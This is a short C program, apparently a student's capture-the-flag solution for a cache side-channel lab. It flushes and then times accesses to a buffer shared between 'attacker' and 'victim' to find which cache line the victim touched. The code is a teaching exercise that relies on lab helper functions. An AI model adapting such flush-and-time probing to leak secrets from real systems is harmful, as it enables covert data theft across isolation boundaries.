#include #include #include #include #include #include #include #include "util.h" #define CACHE_HIT_THRESHOLD 200 #define WAIT_TIME 1000 #define AVAR 575479 #define CVAR 10020107 #define AVAR1 199267 #define CVAR1 4900501 int main() { int index = -1; int flag = -1; CYCLES time = -1; CYCLES new_time = -1; int offset = 0; int new_offset = 0; // buf is shared between the attacker and the victim char *buf = allocate_shared_buffer(); // [2.1] TODO: Put your capture-the-flag code here for (int j = 0; j < 1024; j++) { clflush((ADDR_PTR)buf + j * 128); for(int i = 0; i < WAIT_TIME; i++); time = measure_one_block_access_time((ADDR_PTR)buf + j * 128); if(time < CACHE_HIT_THRESHOLD) { flag = j; index = j; break; } } printf("Flag: %d\n", flag); printf("Time: %d\n", time); printf("Index: %d\n", index); deallocate_shared_buffer(buf); return 0; }